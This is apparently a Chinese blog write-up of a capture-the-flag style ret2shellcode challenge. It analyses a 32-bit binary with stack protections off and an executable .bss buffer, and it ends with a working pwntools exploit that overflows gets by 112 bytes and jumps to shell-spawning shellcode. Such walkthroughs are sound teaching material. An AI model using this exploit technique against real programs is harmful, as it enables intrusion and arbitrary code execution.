栈溢出--ret2shellcode

检查安全属性
可以看到有关栈的保护措施都关掉了,而且具有可读可写可执行的区域
image
静态分析
首先分析main函数,main函数通过gets函数从stdin获取一个字符串给局部变量s赋值,然后用strncpy将s拷贝给buf2
image
这个buf2是在.bss段的一个100个字节空间的数组,如果.bss段具有可写可执行权限,那么我们就可以向这个全局变量写入shellcode进行利用
image
可以用pwndbg的vmmap指令查看内存布局,或者通过cat /proc/pid/maps来查看,结果都是一样的,.bss段所在的地址空间是rwxp权限。
image
image
动态分析
首先要确定一点,就是我们要覆盖的返回值地址是在哪个函数的栈帧中。由于变量s是在main函数的栈帧中,所以我们需要覆盖的是main函数的返回地址。
在main函数的入口地址处下断点,可以看到当前栈顶esp指向的地址是在__libc_start_main中
image
之后我们在gets函数的下一条指令处下断点,输入个测试值,观察栈中的情况。
我们可以看到局部变量s在当前栈帧中的地址是0xff8026ac,而要覆盖的返回值所在的地址是0xff80271c,两数相减计算出需要112字节的垃圾数据+全局变量buf2的地址才能刚好覆盖返回值
image
exp编写
payload由3部分组成,第一部分是shellcode的长度,中间一部分是垃圾数据用来填充到返回值地址用的,后一部分是全局变量buf2的地址

from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2shellcode")
shellcode_32 = asm(shellcraft.sh())
io.recv()
payload = shellcode_32.ljust(112, b'A') + p32(0x0804a080)
io.sendline(payload)
io.interactive()

注:其实这题由于未开启NX保护,所以写入栈中也是可以在执行的

posted @ 2023-07-28 14:33  墨宸  阅读(90)  评论(0)    收藏  举报